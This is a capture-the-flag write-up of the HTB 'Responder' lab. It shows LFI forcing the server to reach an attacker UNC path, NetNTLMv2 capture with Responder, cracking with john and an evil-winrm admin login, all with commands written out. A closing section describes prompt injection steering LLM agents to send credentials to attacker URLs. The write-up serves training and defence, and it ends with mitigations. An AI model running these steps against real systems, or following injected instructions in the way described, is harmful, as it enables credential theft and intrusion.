HTB Responder — LFI to NTLM Hash Capture

Part of the OSAI Prep series → — HTB writeups mapped to OWASP LLM Top 10.

Machine Summary

Reconnaissance

We start with a service scan:

nmap -sC -sV <target_ip>

Two open ports: a web server and port 5985.

Port 5985 is WS-Management — WinRM, Windows’ native remote management protocol.

WinRM is significant. If we get valid credentials anywhere in this engagement, we have a direct path to a shell via evil-winrm. We file that away and move to the web server.

Navigating to the IP, we get an immediate redirect to a hostname that doesn’t resolve. We add it to /etc/hosts and reload.

The site loads. The URL shows a page parameter controlling which file gets rendered — currently french.html. This is a classic LFI indicator: user-supplied input naming a file the server will include. On a Windows target, LFI has a particularly dangerous extension — if we can get the server to reference a UNC path (\\attacker_ip\share), Windows will automatically attempt NTLM authentication to that path, sending us the account’s hash without any further interaction.

We test with a Windows-focused LFI wordlist. A reliable canary is the Windows hosts file:

The application reads and returns the hosts file. LFI confirmed.

Initial Foothold

With LFI confirmed and WinRM visible, the attack chain is clear:

1. Use LFI to force the server to access a UNC path on our machine
2. Capture the NetNTLMv2 hash with Responder acting as a rogue SMB server
3. Crack the hash offline with john
4. Connect with evil-winrm using the cracked credentials

A note on NTLM hashes: NTLM is Windows’ legacy network authentication protocol. When a Windows machine connects to an SMB share, it initiates a challenge/response handshake — the NetNTLMv2 response is derived from the user’s password. It can’t be passed directly like an NTLM hash (it’s session-specific), but it can be cracked offline against a wordlist.

Setting up Responder:

sudo git clone https://github.com/lgandx/Responder

We verify the config has SMB set to On:

Then start Responder on our listening interface:

python3 Responder.py -I tun0

Responder is now acting as a rogue SMB server. Any Windows machine that attempts to authenticate to a UNC path on our IP will send us its NetNTLMv2 hash.

Triggering the capture:

We set the page parameter to a UNC path pointing at our machine — //our_ip/somefile:

The web app throws an error — expected. But over in Responder:

The NetNTLMv2 hash for administrator is in. The server tried to access our SMB path, Windows handled the authentication automatically, and we captured the exchange.

Cracking the hash:

We save the hash to hash.txt:

john -w=/usr/share/wordlists/rockyou.txt hash.txt

Password cracked.

Getting a shell:

evil-winrm -i 10.129.44.83 -u administrator -p <cracked_password>

We land as Administrator. No privilege escalation needed.

Privilege Escalation

Not required. The cracked hash belonged to the local administrator account — we entered with full system privileges directly.

Root Cause

The web application passes the page parameter directly to a file inclusion function with no input validation. This allows an attacker to supply a UNC path instead of a local filename.

Windows’ NTLM authentication behavior does the rest: when the server tries to access a UNC path, it automatically initiates an SMB authentication handshake with the remote host, transmitting the NetNTLMv2 hash for the account running the web service. No explicit credential theft required — the OS handed it over as a built-in feature.

Two independent weaknesses combine to form the chain:

1. No input validation on the page parameter — any path, local or remote, is accepted
2. Automatic NTLM authentication to any SMB endpoint — the OS trusts any destination the application directs it to

Remove either one and the attack chain breaks.

The AI Equivalent

OWASP LLM Top 10 Mapping: LLM01 — Prompt Injection + LLM08 — Excessive Agency

This machine’s core pattern — user-controlled input redirects an authenticated outbound connection to an attacker-controlled endpoint, leaking credentials in the process — maps precisely to how agentic AI systems leak secrets in production today.

LLM agents with web browsing or HTTP tool use are routinely configured with API keys, bearer tokens, or session credentials baked into their tool configurations. If an attacker can influence what URL the agent fetches — via prompt injection in retrieved content, user input passed to a tool call, or a malicious document the agent reads — the agent will send its authorization headers to the attacker’s server. The agent isn’t malfunctioning. It’s doing exactly what it was built to do. Just like Windows isn’t broken when it sends NTLM credentials to an SMB server; that’s intended behavior, exploited.

Real deployment patterns where this lands: LangChain agents with custom HTTP tools, AutoGPT-style workflows using requests, RAG pipelines where retrieved documents can inject tool-use instructions. The attack surface is any system where user-influenced data reaches a tool invocation and that tool carries authentication. The fix is the same in both cases: validate and restrict where outbound authenticated connections are allowed to go. The Windows equivalent is blocking outbound SMB at the firewall; the LLM equivalent is URL allowlisting and stripping auth headers for requests to non-approved domains.

Lessons Learned

• Validate and whitelist file inclusion inputs. The page parameter should only accept values from a hardcoded list of allowed filenames. Never pass user input directly to a file-read or include function.
• Block outbound SMB at the network perimeter. Windows servers should not initiate port 445 connections to arbitrary external hosts. A single firewall rule breaks the Responder attack chain entirely, even with LFI present.
• Treat any NetNTLMv2 capture as a password compromise. The hash is crackable offline with no time limit and no lockout. Password complexity is the last line of defense — enforce length and strength requirements, especially for privileged accounts.
• Restrict WinRM to management networks. Port 5985 reachable from the internet was the final step that gave us a shell. WinRM should be gated behind a VPN or dedicated management VLAN.
• Defense in depth breaks chained attacks. LFI alone didn’t get us in. NTLM auth alone didn’t either. Patching any single link — input validation, outbound firewall rules, strong passwords — would have stopped this chain cold.